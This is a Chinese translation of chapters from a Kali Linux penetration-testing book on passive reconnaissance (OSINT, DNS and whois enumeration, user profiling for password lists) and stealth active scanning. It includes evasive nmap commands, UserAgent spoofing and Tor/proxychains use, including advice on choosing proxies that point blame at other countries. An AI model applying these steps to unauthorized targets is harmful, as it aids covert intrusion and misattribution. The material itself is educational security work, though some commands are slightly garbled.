测试人员不仅需要执行测试和收集数据,还需要能够向客户提供他们的发现。这可能很困难,因为一些结果是瞬时的——测试在某个时间点显示了一个发现,然后目标系统上的某些内容发生了变化,未来的测试未能显示可利用的漏洞,尽管它可能会重新出现。

积极结果的另一个挑战是需要以客户能理解的方式展示给客户。

黄金法则是始终抓取任何积极或潜在发现的屏幕截图。使用 Shutter 等工具从桌面捕获图像。

默认情况下,Kali 配置了CutyCapt,这是一个跨平台命令行实用程序,可以捕获网页并创建各种图像类型,包括 PDF、PS、PNG、JPEG、TIFF、GIF 和 BMP。

例如,要从 Google 搜索页面创建特定大小的图像,请在命令行提示符中输入以下内容:

..cutycapt --url=http://www.google.com --out=google.png --min-width=300 --min-heightheight=250.

在执行时,将显示在上一个命令中指定大小的图像,如下面的屏幕截图所示:

有效的渗透测试管理

CutyCapt 在演示基于 Web 的漏洞(如跨站脚本)存在时特别有用。

静态图像可能非常有用,但是一个利用漏洞的视频,显示攻击者在攻击目标网络并显示他们获取敏感数据的行为,是一个非常有说服力的工具。instanbul 屏幕录像机创建了一个“正在进行的利用”视频,允许对利用进行重放以进行培训,或向客户展示漏洞。

总结

在本章中,我们研究了 Kali,这是一个被合法的渗透测试人员和黑客广泛使用来评估数据系统和网络安全性的工具集。我们强调 Kali 是一个虚拟机,允许主机操作系统和 VM 客户端都支持测试。

Kali 是一个工具库,使用它的一个挑战是确保工具是最新的。我们审查了 Debian 数据包管理系统,以及如何从命令行和 GUI 应用程序启动更新。最重要的是,我们学会了如何定制 Kali 以增加我们工具和它们收集的数据的安全性。我们正在努力实现使工具支持我们的流程的目标,而不是相反!

在下一章中,我们将学习如何有效地使用开源情报OSINT)来识别我们目标的易受攻击的表面,并创建定制的用户名:密码列表,以便进行社会工程攻击和其他利用。

第二章:识别目标-被动侦察

侦察是进行渗透测试或对网络或服务器目标进行攻击时的杀伤链的第一步。攻击者通常会将渗透测试的整体工作量的高达 75%用于侦察,因为正是这个阶段允许定义、映射和探索漏洞,最终导致利用。

有两种类型的侦察:被动侦察主动侦察

通常,被动侦察涉及分析公开可用的信息,通常来自目标本身或在线公共来源。在访问这些信息时,测试人员或攻击者不会以异常的方式与目标进行交互——请求和活动不会被记录,或者不会直接追踪到测试人员。因此,首先进行被动侦察以最小化可能会发出即将发动攻击的信号或识别攻击者的直接接触。

在本章中,您将学习被动侦察的原则和实践,包括以下内容:

  • 侦察的基本原则

  • 开源情报OSINT

  • DNS 侦察和路由映射,包括 IPv4 和 IPv6 的问题

  • 获取用户信息

  • 为密码列表创建用户档案

直接与目标进行互动的主动侦察将在第三章中进行介绍,主动侦察和漏洞扫描

侦察的基本原则

侦察,或者 recon,在对数据目标进行渗透测试或攻击时是杀伤链的第一步。这是在实际测试或攻击目标网络之前进行的。调查结果将指导需要进行额外侦察的方向,或者在利用阶段攻击的漏洞。

侦察活动在与目标网络或设备的互动程度梯度上进行分段。

侦察的基本原则

被动侦察不涉及与目标网络的直接互动。攻击者的源 IP 地址和活动不会被记录(例如,对目标电子邮件地址进行谷歌搜索)。目标很难,甚至不可能将被动侦察与正常业务活动区分开来。

一般来说,被动侦察侧重于商业和监管环境、公司和员工。这类信息可以在互联网或其他公共来源获取,有时被称为开源情报,或者 OSINT。

  • 被动侦察还涉及攻击者以预期方式与目标进行的正常互动。例如,攻击者将登录企业网站,查看各种页面,并下载文件以供进一步研究。这些互动是预期的用户活动,很少被检测为对目标进行攻击的前兆。

  • 主动侦察涉及直接查询或其他互动(例如,对目标网络进行端口扫描),可能会触发系统警报或允许目标捕获攻击者的 IP 地址和活动。这些信息可以用于识别和逮捕攻击者,或者在法律诉讼中使用。因为主动侦察需要测试人员采取额外的技术来保持不被发现,所以将在第三章中进行介绍,主动侦察和漏洞扫描

渗透测试人员或攻击者通常遵循结构化信息收集的过程,从广泛范围(商业和监管环境)到非常具体(用户帐户数据)。

为了有效,测试人员在收集开始之前应该清楚知道他们在寻找什么以及数据将如何使用。使用被动侦察并限制收集的数据量可以最大程度地减少被目标发现的风险。

开源情报

一般来说,渗透测试或攻击的第一步是收集开源情报,或者 OSINT。

OSINT 是从公共来源,特别是互联网上收集的信息。可用信息的数量是相当可观的——大多数情报和军事组织都在积极从事 OSINT 活动,以收集有关他们的目标的信息,并防范有关他们的数据泄漏。

OSINT 收集和分析的过程是复杂的,可能构成一本书;因此,我们只会涵盖基本要点。

提示

美国陆军手册 ATP 2-22.9(www.fas.org/irp/doddir/army/atp2-22-9.pdf)和北约 OSINT 手册(information-retrieval.info/docs/NATO-OSINT.html)都可以在线获取,并提供了如何收集和评估 OSINT 的出色技术评论。

针对收集的信息取决于渗透测试的初始目标。例如,如果测试人员想要访问财务数据,他们将需要相关员工(CFO、应收和应付账款等)的姓名和生物信息,他们的用户名和密码。如果攻击的途径涉及社会工程,他们可能会补充这些信息,以使信息请求更加可信。

OSINT 收集通常从审查目标的官方在线存在开始(网站、博客、社交媒体页面和第三方数据存储库,如公共财务记录)。感兴趣的信息包括以下内容:

  • 办公室的地理位置,特别是共享企业信息但可能缺乏严格安全控制的远程或卫星办公室。

  • 母公司和任何子公司的概述,特别是通过合并或收购获得的任何新公司(这些公司通常没有母公司安全)。

  • 员工姓名和联系信息,特别是姓名、电子邮件地址和电话号码。

  • 有关企业文化和语言的线索;这将有助于社会工程攻击。

  • 可能连接到目标网络的商业伙伴或供应商。

  • 使用的技术。例如,如果目标发布了关于采用新设备或软件的新闻稿,攻击者将会查看供应商的网站,寻找漏洞报告、已知或疑似的漏洞,以及可能用于促成各种攻击的详细信息。

攻击者可能使用的其他在线信息来源包括以下内容:

  • 谷歌和必应等搜索引擎。从历史上看,这些搜索是高度手动的;攻击者输入特定于感兴趣信息的搜索词;例如,搜索词“公司名称”+密码 filetype:xls 可能会识别出包含员工密码的 Excel 电子表格。这些搜索词被称为谷歌 dorkswww.exploit-db.com/google-dorks/)。大多数搜索引擎已经发布了 API 以便进行自动查找,使得诸如Maltego之类的工具特别有效。

提示

最有效的搜索引擎之一是Yandexwww.yandex.com)。这家俄语搜索引擎是世界第四大搜索引擎,允许用户用多种语言进行搜索,包括英语。它还支持非常精细的搜索表达式,使其在搜索特定信息时比谷歌更有效。

其他应该搜索的在线来源包括:

  • 提供有关合并和收购、关键人员姓名和支持数据的政府、金融或其他监管网站。

  • Usenet 新闻组,特别是目标员工寻求特定技术帮助的帖子

  • 提供员工信息的 LinkedIn、Jigsaw 和其他网站

  • 求职网站,特别是提供成功申请者必须支持的技术和服务列表的技术职位

  • 通过搜索引擎检索的历史或缓存内容(在 Google 中的 cache:url,或在www.archive.org的 WayBack Machine)

  • 特定国家和语言的社交和业务相关网站(参考searchenginecolossus.com

  • 聚合和比较多个搜索引擎结果的网站,如 Zuula(www.zuula.com

  • 企业和员工博客,以及关键员工的个人博客

  • 社交网络(LinkedIn、Facebook 和 Twitter)

  • 提供 DNS、路由和服务器信息查找的网站,特别是 DNSstuff(www.dnsstuff.com)、ServerSniff(www.serversniff.net)、Netcraft(www.netcraft.com)和myIPneighbors.com

  • Shodan(www.shodanHQ.com),有时被称为“黑客的谷歌”;Shodan 列出了可通过互联网访问的设备,并允许测试人员搜索已知漏洞的设备

  • 密码转储站点(pastebin,使用site:pastebin.com "targetURL"进行搜索)

管理发现可能很困难;然而,Kali 配备了 KeepNote,支持快速导入和管理不同类型的数据。

DNS 侦察和路由映射

一旦测试人员确定了具有在线存在并包含感兴趣项目的目标,下一步就是确定目标的 IP 地址和路由。

DNS 侦察涉及确定谁拥有特定的域或一系列 IP 地址(whois类型的信息),定义实际域名和 IP 地址分配给目标的 DNS 信息,以及穿透测试人员或攻击者与最终目标之间的路由。

这种信息收集是半主动的——一些信息来自免费开放的来源,而其他信息来自 DNS 注册商等第三方。尽管注册商可能收集攻击者的 IP 地址和请求相关的数据,但很少提供给最终目标。目标可以直接监控的信息,例如 DNS 服务器日志,几乎从不被审查或保留。

因为所需的信息可以使用定义的系统化和有条理的方法查询,所以可以自动收集这些信息。

提示

请注意,DNS 信息可能包含过时或不正确的条目。为了最小化不准确的信息,查询不同的源服务器并使用不同的工具来交叉验证结果。审查结果,并手动验证任何可疑的发现。使用脚本自动收集这些信息。脚本应该为渗透测试创建一个文件夹,然后为每个运行的应用程序创建一系列文件夹。在脚本执行每个命令后,将结果直接传送到特定的保存文件夹。

WHOIS

研究 IP 地址空间的第一步是确定分配给目标站点的地址。通常使用whois命令来完成这一步,该命令允许人们查询存储有关互联网资源的注册用户信息的数据库,例如域名或 IP 地址。

根据查询的数据库,对whois请求的响应将提供姓名、地址、电话号码和电子邮件地址(有助于促进社会工程攻击),以及 IP 地址和 DNS 服务器名称。

攻击者可以使用whois查询的信息来:

  • 支持对查询中确定的位置或人员进行社会工程攻击

  • 确定进行物理攻击的位置

  • 识别可用于战争拨号攻击的电话号码,或进行社会工程攻击

  • 进行递归搜索,以查找与目标托管在同一服务器上或由同一用户操作的其他域;如果它们不安全,攻击者可以利用它们来获得对服务器的管理访问权限,然后妥协目标服务器

  • 在域名即将到期的情况下,攻击者可以尝试夺取该域名,并创建一个类似的网站来妥协那些认为自己在原始网站上的访问者

  • 攻击者将使用权威 DNS 服务器,这些服务器是用于查找该域的记录,以促进 DNS 侦察

请注意,第三方用于保护这些数据的使用增加了,并且一些域,如.gov.mil,可能无法访问公共域。对这些域的请求通常会被记录。有几个在线列表可用于描述分配给政府使用的域和 IP 地址;大多数工具接受“无联系”地址的选项,并且政府域应该输入这些字段以避免错误类型的关注!

发出whois查询的最简单方法是从命令行。以下屏幕截图显示了对 Digital Defence 域运行的whois命令:

WHOIS

返回的whois记录包含地理信息、名称和联系信息,所有这些都可以用来促进社会工程攻击。

有几个网站可以自动化whois查询,攻击者可以使用这些网站在目标和自己之间插入一步;然而,进行查询的网站可能会记录请求者的 IP 地址。

DNS 侦察

域名系统DNS)是一个分布式数据库,将名称(www.digitaldefence.ca)解析为其 IP 地址(192.150.2.140)。

攻击者使用 DNS 信息的以下方式:

  • 使用暴力攻击,允许攻击者识别与目标相关的新域名。

  • 如果 DNS 服务器配置为允许任何请求者进行区域传输,它将提供互联网可访问系统的主机名和 IP 地址,从而更容易识别潜在目标。如果目标没有将公共(外部)DNS 信息与私有(内部)DNS 信息分开,区域传输可能会公开内部设备的主机名和 IP 地址。(请注意,如果触发区域传输请求,大多数 IDS 和 IPS 系统将触发警报)。

  • 查找可能容易受攻击(例如 FTP)或其他有趣的服务(远程管理面板和远程访问)。

  • 查找配置错误和/或未打补丁的服务器(dbase.test.target.com)。

  • 服务记录SRV)提供有关服务、传输、端口和服务重要性顺序的信息。这可以让攻击者推断出软件。

  • DomainKeys Identified MailDKIM)和Sender Policy FrameworkSPF)记录用于控制垃圾邮件。如果识别出这些记录,攻击者会知道:

  • 他们比大多数组织更注重安全。

  • 这可能会影响网络钓鱼和其他社会工程攻击。

Windows 和 Unix 都支持基本的命令行工具,如nslookup,而 Unix 系统支持额外的命令行选项,如dig。不幸的是,这些命令通常一次只询问一个服务器,并且需要交互式响应才能有效。

Kali 具有几个旨在迭代地查询特定目标的 DNS 信息的工具。所选工具必须适应与目标进行通信的互联网协议版本——IPv4 或 IPv6。

IPv4

IP 地址,或者互联网协议地址,是用来识别连接到私人网络或公共互联网的设备的唯一数字。今天,互联网主要基于版本 4,即 IPv4。Kali 包括几个工具来促进 DNS 侦察,如下表所示:

应用 描述
dnsenumdnsmapdnsrecon 这些是全面的 DNS 扫描器——DNS 记录枚举(A,MX,TXT,SOA,通配符等),子域暴力攻击,Google 查找,反向查找,区域传输和区域遍历。dsnrecon通常是第一选择——它非常可靠,结果被很好地解析,并且数据可以直接导入 Metasploit 框架。
dnstracer 这确定给定域名系统从哪里获取其信息,并跟随 DNS 服务器链返回到知道数据的服务器。
dnswalk 这个 DNS 调试器检查指定的域名的内部一致性和准确性。
fierce 通过尝试区域传输,然后尝试暴力攻击以获取 DNS 信息,来定位指定域名的非连续 IP 空间和主机名。

在测试过程中,大多数调查员运行fierce来确认已经识别出所有可能的目标,然后运行至少两个综合工具(例如dnsenumdnsrecon)来生成最大量的数据,并提供一定程度的交叉验证。

在下面的屏幕截图中,dnsrecon用于生成标准的 DNS 记录搜索,以及特定于 SRV 记录的搜索。每种情况下都显示了部分结果。

IPv4

DNSrecon允许渗透测试人员获取 SOA 记录、域名服务器NS)、使用发件人策略框架(SPF)发送电子邮件的服务器,以及正在使用的 IP 地址范围。

IPv6

尽管 IPv4 似乎允许一个大的地址空间,但几年前已经耗尽了可用的 IP 地址,迫使采用 NAT 和 DHCP 来增加可用地址的数量。在 IPv6 的改进 IP 地址方案的采用中找到了一个更为永久的解决方案。尽管它只占互联网地址的不到五分之一,但它的使用率正在增加,渗透测试人员必须准备好应对 IPv4 和 IPv6 之间的差异。

在 IPv6 中,源地址和目的地址的长度为 128 位,可以产生 2128 个可能的地址,也就是 340 个不可思议的地址!

可寻址地址空间的增加大小给渗透测试人员带来了一些问题,特别是在使用扫描器遍历可用地址空间寻找活动服务器时。然而,IPv6 协议的一些特性已经简化了发现,特别是使用 ICMPv6 来识别活动的链路本地地址。

在进行初始扫描时考虑 IPv6 是很重要的,原因如下:

  • 测试工具对 IPv6 功能的支持不均衡,因此测试人员必须确保每个工具都经过验证,以确定其在 IPv4、IPv6 和混合网络中的性能和准确性。

  • 因为 IPv6 是一个相对较新的协议,目标网络可能包含泄露重要数据的错误配置;测试人员必须准备好识别和利用这些信息。

  • 旧的网络控制(防火墙、IDS 和 IPS)可能无法检测到 IPv6。在这种情况下,渗透测试人员可以使用 IPv6 隧道来与网络保持隐蔽通信,并且无法被检测到地泄露数据。

Kali 包括几个专门用于利用 IPv6 的工具(大多数综合扫描器,如nmap,现在支持 IPv6),其中一些如下;专门用于 IPv6 的工具主要源自 THC-IPv6 攻击工具包。

应用 描述
dnsdict6 使用基于提供的字典文件或其自己的内部列表的暴力搜索,列举子域以获取 IPv4 和 IPv6 地址(如果存在)。
dnsrevenum6 给定 IPv6 地址,执行反向 DNS 枚举。

下面的屏幕截图显示了dnsdict6命令的执行:

IPv6

映射到目标的路线

路由映射最初是作为一种诊断工具使用的,它允许您查看 IP 数据包从一个主机到下一个主机的路径。使用 IP 数据包中的生存时间TTL)字段,从一个点到下一个点的每个都会从接收路由器那里引发一个ICMP TIME_EXCEEDED消息,将 TTL 字段中的值减少 1。数据包计算跳数和路径。

从攻击者或渗透测试人员的角度来看,traceroute数据提供了以下重要数据:

  • 攻击者和目标之间的确切路径

  • 有关网络外部拓扑的提示

  • 识别访问控制设备(防火墙和数据包过滤路由器)可能正在过滤攻击流量

  • 如果网络配置错误,可能会识别内部寻址

提示

使用基于 Web 的traceroutewww.traceroute.org),可以追踪各种地理起源站点到目标网络。这些类型的扫描通常会识别连接到目标的多个不同网络,这是仅从靠近目标的位置进行单个traceroute可能会错过的信息。基于 Web 的traceroute还可以识别连接两个或更多网络的多宿主机。这些主机是攻击者的重要目标,因为它们大大增加了导致目标的攻击面。

在 Kali 中,traceroute是一个使用 ICMP 数据包映射路由的命令行程序;在 Windows 中,该程序是tracert

如果您从 Kali 启动traceroute,很可能会看到大多数跳数被过滤(数据显示为* * *)。例如,从作者目前的位置到www.google.comtraceroute将产生以下结果:

映射到目标的路由

然而,如果使用 Windows 命令行运行tracert相同的请求,我们会看到以下内容:

映射到目标的路由

我们不仅可以获得完整的路径,还可以看到www.google.com解析为稍有不同的 IP 地址,表明负载均衡器正在生效(您可以使用 Kali 的lbd脚本来确认这一点;但是,这种活动可能会被目标站点记录)。

不同路径数据的原因是,默认情况下,traceroute使用 UDP 数据包,而 Windows 的tracert使用 ICMP echo 请求(ICMP 类型 8)。因此,使用 Kali 工具完成traceroute时,重要的是使用多个协议以获得最完整的路径,并绕过数据包过滤设备。

Kali 提供以下工具来完成路由跟踪:

应用程序 描述
hping3 这是一个 TCP/IP 数据包组装器和分析器。它支持 TCP、UDP、ICMP 和原始 IP,并使用类似 ping 的界面。
intrace 这使用户能够通过利用现有的 TCP 连接枚举 IP 跳数,这些连接可以来自本地系统或网络,也可以来自本地主机。这使得它非常有用,可以绕过外部过滤器,如防火墙。intrace是不太可靠的 0trace 程序的替代品。
trace6 这是一个使用 ICMP6 的traceroute程序。

hping3是最有用的工具之一,因为它可以控制数据包类型、源数据包和目标数据包。例如,谷歌不允许 ping 请求。但是,如果将数据包发送为 TCP SYN 请求,则可以 ping 服务器。

在下面的示例中,测试人员尝试从命令行 ping 谷歌。返回的数据表明www.google.com是一个未知的主机;谷歌显然正在阻止基于 ICMP 的 ping 命令。然而,下一个命令调用hping3,指示它执行以下操作:

  1. 使用设置了 SYN 标志的 TCP 向谷歌发送类似 ping 的命令(-S)。

  2. 将数据包定向到端口 80;这种类型的合法请求很少被阻止(- p 80)。

  3. 设置发送三个数据包到目标的计数(-c 3)。

要执行前面的步骤,请使用以下截图中显示的命令:

映射到目标的路由

hping3命令成功识别目标在线,并提供一些基本的路由信息。

获取用户信息

许多渗透测试人员收集用户名称和电子邮件地址,因为这些信息经常用于登录到目标系统。

最常用的工具是网络浏览器,用于手动搜索目标组织的网站以及 LinkedIn 或 Jigsaw 等第三方网站。

Kali 中包含的一些自动化工具可以补充手动搜索。

提示

前员工的电子邮件地址仍然可能有用。在进行社会工程攻击时,将信息请求引导到前员工通常会导致重定向,使攻击者获得与之前员工打交道的“可信度”。此外,许多组织未能正确终止员工帐户,这些凭据可能仍然可以访问目标系统。

收集姓名和电子邮件地址

theharvester 工具是一个 Python 脚本,通过流行的搜索引擎和其他网站搜索电子邮件地址、主机和子域。

使用 theharvester 相对简单,因为只有几个命令开关需要设置。可用的选项包括:

  • -d:这标识要搜索的域;通常是域或目标网站。

  • - b:这标识提取数据的来源;必须是以下之一:

必应、BingAPI、谷歌、谷歌-配置文件、Jigsaw、LinkedIn、People123、PGP 或全部

  • - l:此限制选项指示 theharvester 仅从返回的搜索结果中收集指定数量的数据。

  • -f:此选项用于将最终结果保存到 HTML 和 XML 文件中。如果省略此选项,结果将显示在屏幕上而不保存。

以下截图显示了对 digitaldefence.ca 域的谷歌索引进行简单搜索的结果:

收集姓名和电子邮件地址

收集文档元数据

文档元数据是指附加到文档中的信息,以便应用程序在创建和存储过程中对其进行管理。通常附加到文档的元数据示例包括以下内容:

  • 创建文档的计算机网络上的位置

  • 文档的作者姓名

  • 文档创建的时间和日期

  • 文件最后打印或修改的日期;在某些情况下,它将确定谁进行了修改

  • 创建文档的计算机网络上的位置

  • 某些文件,特别是由相机或移动设备创建的文件,可能包含地理标记,用于标识图像创建的位置

元数据对最终用户不是立即可见的,因此大多数文档都以元数据完整的形式发布。不幸的是,这种数据泄漏可能会透露出可以被测试人员或攻击者用来促成攻击的信息。至少,测试人员和攻击者可以通过将其与文档中的数据进行比较来收集用户名;他们可以识别与特定数据类型相关联的人,例如年度财务报告或战略规划。

随着移动设备变得更加普遍,与地理元数据相关的风险也在增加。攻击者寻找经常访问的地点(度假屋、酒店和餐馆),这些地点可能使他们能够针对在公司边界之外放松警惕的用户发动攻击。例如,如果目标组织的员工经常在社交媒体网站上发布等待通勤火车的照片,攻击者可能会针对该员工进行实体攻击(盗窃移动设备)、无线攻击,甚至偷看受害者的用户名和密码。

在 Kali 上,工具 Metagoofil 执行谷歌搜索,以识别并下载目标网站的文档(doc、docx、pdf、pptx、xls 和 xlsx),并提取用户名、软件版本、路径存储名称以及服务器或工作站名称,如下图所示:

收集文档元数据

Metagoofil将指定数量的文档下载到临时文件夹,并提取和整理相关的元数据。它还针对先前下载并现在存储在本地的文件执行此功能。

Metagoofil的第一个返回之一是找到的用户列表。以下是一个截断列表的截图:

收集文档元数据

Metagoofil还识别文档的服务器和路径名。如果某些感兴趣的文档是与特定用户定位的(例如,在行政助理的工作站上找到的财务报告草稿),那么该系统可以在测试期间稍后被定位为目标,如下图所示:

收集文档元数据

为密码列表对用户进行个人资料分析

到目前为止,您已经学会了使用被动侦察来收集目标测试用户的姓名和生物信息;这是黑客使用的相同过程。下一步是使用这些信息来创建特定于用户和目标的密码列表。

常用密码列表可供下载,并存储在 Kali 的/usr/share/wordlists目录中。这些列表反映了大量用户的选择,对于应用程序在移动到队列中的下一个密码之前尝试使用每个可能的密码可能需要很长时间。

幸运的是,常用用户密码分析器CUPP)允许测试人员生成特定于特定用户的wordlist。CUPP 在 Backtrack 5r3 上存在;但是,在 Kali 上使用时需要下载。要获取 CUPP,请输入以下命令:

git clone https://github.com/Mebus/cupp.git

这将下载 CUPP 到本地目录。

CUPP 是一个 Python 脚本,可以通过在 CUPP 目录中输入以下命令来简单地调用:

root@kali:~# python cupp.py -i

这将在交互模式下启动 CUPP,提示用户使用特定信息元素来创建wordlist。以下是一个示例截图:

为密码列表对用户进行个人资料分析

当交互模式完成创建wordlist时,它将放置在 CUPP 目录中。

摘要

攻击过程或杀链的第一步是进行侦察,以识别目标和潜在的攻击路径。被动侦察评估公开可用的数据。这是一种隐秘的评估——攻击者的 IP 地址或活动几乎无法与正常访问区分开。然而,当进行社会工程攻击或促进其他攻击类型时,这些信息可能是至关重要的。

在下一章中,我们将评估更积极的侦察类型。尽管这些技术产生了更多的信息,但检测风险增加了。因此,重点将放在高级隐身技术上。

第三章:积极侦察和漏洞扫描

侦察阶段的目标是尽可能多地收集有关目标的信息,以便促进杀链的利用阶段。

我们已经看到,几乎不可检测的被动侦察可以为目标组织及其用户提供大量信息。

主动侦察建立在开源情报和被动侦察的结果之上,重点是使用探针来识别目标的路径和目标的暴露攻击面。一般来说,复杂的系统具有更大的攻击面,每个攻击面都可能被利用,然后被用来支持额外的攻击。

尽管主动侦察可以产生更多信息,更有用的信息,但与目标系统的交互可能会被记录,从而触发防护设备(如防火墙和入侵检测系统)的警报。随着数据对攻击者的有用性增加,被发现的风险也会增加;这在下图中有所体现:

主动侦察和漏洞扫描

为了提高主动侦察在提供详细信息方面的效果,我们的重点将放在使用隐秘或难以检测的技术上。

在本章中,您将学习:

  • 隐身扫描策略

  • 网络基础设施、主机发现和枚举

  • 全面的侦察应用,特别是recon-ng

  • 有针对性的漏洞扫描

隐身扫描策略

主动侦察的最大风险是被目标发现。使用测试人员的时间和数据戳、源 IP 地址和其他信息,目标可以确定传入侦察的来源。因此,采用隐身技术以最小化被发现的机会。

在使用隐身支持侦察时,模拟黑客行为的测试人员将执行以下操作:

  • 伪装工具签名以避免被检测和触发警报

  • 在合法流量中隐藏攻击

  • 修改攻击以隐藏流量的来源和类型

  • 使用非标准流量类型或加密使攻击不可见

隐身扫描技术可以包括以下一些或全部内容:

  • 调整源 IP 堆栈和工具识别设置

  • 修改数据包参数(nmap

  • 使用匿名网络的代理(ProxyChains 和 Tor 网络)

调整源 IP 堆栈和工具识别设置

在渗透测试人员(或攻击者)开始测试之前,必须确保 Kali 上的所有不必要的服务都已禁用或关闭。

例如,如果本地 DHCP 守护程序已启用且不需要,则可能会导致 DHCP 与目标系统交互,这可能会被记录并发送警报给目标的管理员。

大多数测试人员还会禁用在测试系统上运行的 IPv6。这将阻止 IPv6 在目标网络上宣布您的存在,并确保所有流量首先通过 IPv4 代理路由。禁用 IPv6 可以通过编辑/etc/sysctl.conf文件来实现,其中包括以下行:

#disable ipv6
  net.ipv6.conf.all.disable_ipv6 = 1
  net.ipv6.conf.default.disable_ipv6 = 1
  net.ipv6.conf.lo.disable = 1 

一些商业和开源工具(例如 Metasploit Framework)会对其数据包进行标记。尽管这在系统事件日志的后期分析中可能会有用(可以直接将特定测试工具发起的事件与系统事件日志进行比较,以确定网络如何检测和响应攻击),但也可能触发某些入侵检测系统。测试您的工具以确定哪些数据包被标记,并更改标记,或谨慎使用该工具。

识别标记的最简单方法是将工具应用于新创建的虚拟镜像作为目标,并查看工具名称的系统日志。此外,使用 Wireshark 捕获攻击者和目标虚拟机之间的流量,然后搜索数据包捕获pcap)文件以查找可以归因于测试工具的任何关键字(工具名称、供应商、许可证号等)。

Metasploit Framework 中的UserAgent可以通过修改http_form_field选项来更改。从 msfconsole 提示符中,选择使用auxiliary/fuzzers/http/http_form_field选项,然后设置一个新的用户代理,如下图所示:

调整源 IP 堆栈和工具识别设置

在此示例中,UserAgent 被设置为 Google 的索引蜘蛛,Googlebot。这是一个常见的自动应用程序,用于访问和索引网站,并且很少会引起网站所有者的注意。

注意

要识别合法的UserAgents,请参考www.useragentstring.com上的示例。

修改数据包参数

主动侦察的最常见方法是对目标进行扫描——向目标发送定义的数据包,然后使用返回的数据包获取信息。这种类型的最流行工具是网络映射器nmap)。

要有效使用nmap,必须以 root 级别权限运行。这是操纵数据包的应用程序的典型特征,这也是为什么 Kali 在启动时默认为 root 的原因。

在尝试最小化检测时,一些隐秘技术以避免检测和随后的警报包括以下内容:

  • 在测试之前确定扫描的目标,并发送最少数量的数据包以确定目标。例如,如果您希望确认 Web 主机的存在,首先需要确定端口 80 是否开放,这是用于基于 Web 的服务的默认端口。

  • 避免可能连接到目标系统并泄露数据的扫描。不要对目标进行 ping 操作,也不要使用同步(SYN)和非常规数据包扫描,如确认(ACK)、完成(FIN)和重置(RST)数据包。

  • 随机化或欺骗数据包设置,如源 IP 和端口地址以及 MAC 地址。

  • 调整时间以减慢数据包到达目标站点的速度。

  • 通过对数据包进行分片或附加随机数据来改变数据包大小,以混淆数据包检查设备。

例如,如果您想进行隐秘扫描并最小化检测,可以使用以下nmap命令:

#nmap --spoof-mac- Cisco --data-length 24 –T paranoid –max-hostgroup 1 – max-parallelism 10 -PN  -f –D 10.1.20.5,RND:5,ME --v –n –sS –sV–oA /desktop/pentest/nmap/out –p T:1-1024 –random-hosts 10.1.1.10 10.1.1.15

以下表格详细解释了上一个命令:

命令 原因
--spoof-mac-Cisco 伪装 MAC 地址以匹配思科产品。将Cisco替换为0将创建一个完全随机的 MAC 地址。
--data-length 24 在发送的大多数数据包中附加二十四个随机字节。
-T paranoid 将时间设置为最慢的设置——paranoid
-- max-hostgroup 限制同时扫描的主机数量。
-- max-parallelism 限制发送的未完成探测的数量。您还可以使用--scan-delay选项设置探测之间的暂停;但是,此选项与--max_parallelism选项不兼容。
-PN 不进行 ping 以识别活动系统(这可能会泄需数据)。
-f 对数据包进行分片;这通常会欺骗低端和配置不当的 IDS。
-D 10.1.20.5, RND:5,ME 创建伪装扫描,与攻击者的扫描同时运行;隐藏实际攻击。
-n 不进行 DNS 解析;nmap 不会主动查询内部或外部 DNS 服务器以获取 DNS 信息。此类查询经常被记录,因此应禁用查询功能。
-sS 进行隐秘的 TCP SYN 扫描,不完成 TCP 握手。也可以使用其他扫描类型(例如 Null 扫描);然而,这些大多数会触发检测设备。
-sV 启用版本检测。
-oA /desktop/pentest/nmap 输出结果到所有格式(普通、可搜索和 XML)。
-p T:1-1024 指定要扫描的 TCP 端口。
-- random-hosts 随机化目标主机顺序。

这些选项将创建一个隐藏源真实身份的非常缓慢的扫描。然而,如果数据包太不寻常,复杂的修改实际上可能会引起目标的注意;因此,许多测试人员和攻击者使用匿名网络来最小化检测。

使用匿名网络(Tor 和 Privoxy)的代理

Tor (www.torproject.org)是第三代洋葱路由的开源实现,提供免费访问匿名代理网络。洋葱路由通过加密用户流量然后通过一系列洋葱路由器传输来实现在线匿名。在每个路由器处,会移除一层加密以获取路由信息,然后将消息传输到下一个节点。它被比喻为逐渐剥离洋葱的过程,因此得名。它通过保护用户 IP 流量的源和目的地来防范流量分析攻击。

在这个例子中,Tor 将与 Privoxy 一起使用,Privoxy 是一个非缓存的 Web 代理,位于与互联网通信的应用程序中间,并使用高级过滤来确保隐私并删除发送给测试人员的广告和潜在的敌对数据。

要安装 Tor,请执行以下步骤:

  1. 发出apt-get updateapt-get upgrade命令,然后使用以下命令:
apt-get install tor

  1. 安装 Tor 后,编辑位于/etc目录中的Proxychains.conf文件。

该文件规定了测试系统在通往 Tor 网络的途中将使用的代理的数量和顺序。代理服务器可能宕机,或者可能正在经历严重负载(导致连接缓慢或延迟);如果发生这种情况,定义或严格的 proxychain 将失败,因为缺少预期的链接。因此,禁用strict_chains的使用,并启用dynamic_chains,以确保连接将被路由,如下面的屏幕截图所示:

使用匿名网络(Tor 和 Privoxy)的代理

  1. 接下来,编辑[ProxyList]部分,确保socks5代理存在,如下面的屏幕截图所示:使用匿名网络(Tor 和 Privoxy)的代理

可以在网上轻松找到开放代理并将其添加到proxychains文件中。测试人员可以利用这一点进一步混淆他们的身份。例如,如果有报告称某个国家或一系列 IP 地址最近负责在线攻击,可以在该位置寻找开放代理并将其添加到您的列表或单独的配置文件中。

  1. 要从终端窗口启动 Tor 服务,请输入以下命令:
root@kali:~# service tor start

  1. 使用以下命令验证 Tor 是否已启动:
root@kali:~# service tor status

  1. 验证 Tor 网络是否正常工作并提供匿名连接非常重要。首先验证您的源 IP 地址。从终端输入以下命令:
root@kali:~# iceweasel www.whatismyip.com

这将启动 Iceweasel 浏览器,并打开一个网站,该网站提供与该网页连接的源 IP 地址。注意 IP 地址,然后使用以下proxychains命令调用 Tor 路由:

root@kali:~# proxychainsiceweasel www.whatismyip.com

在这种特定情况下,IP 地址被识别为96.47.226.60。从终端窗口对该 IP 地址进行whois查找表明,传输现在正在从 Tor 出口节点退出,如下面的屏幕截图所示:

使用匿名网络(Tor 和 Privoxy)的代理

您还可以通过访问check.torproject.org来验证 Tor 是否正常运行。

尽管通信现在受到 Tor 网络的保护,但可能会发生 DNS 泄漏,当您的系统发出 DNS 请求以向 ISP 提供您的身份时就会发生。您可以在www.dnsleaktest.com上检查 DNS 泄漏。

当您测试 DNS 泄漏时,Kali 的 proxychains 配置会以美国Level 3 Communications服务器的默认源 IP 地址作出响应,如下面的屏幕截图所示。这为测试人员的身份提供了额外的保护。

使用匿名网络(Tor 和 Privoxy)的代理

大多数命令行可以使用proxychains从控制台运行以访问 Tor 网络。

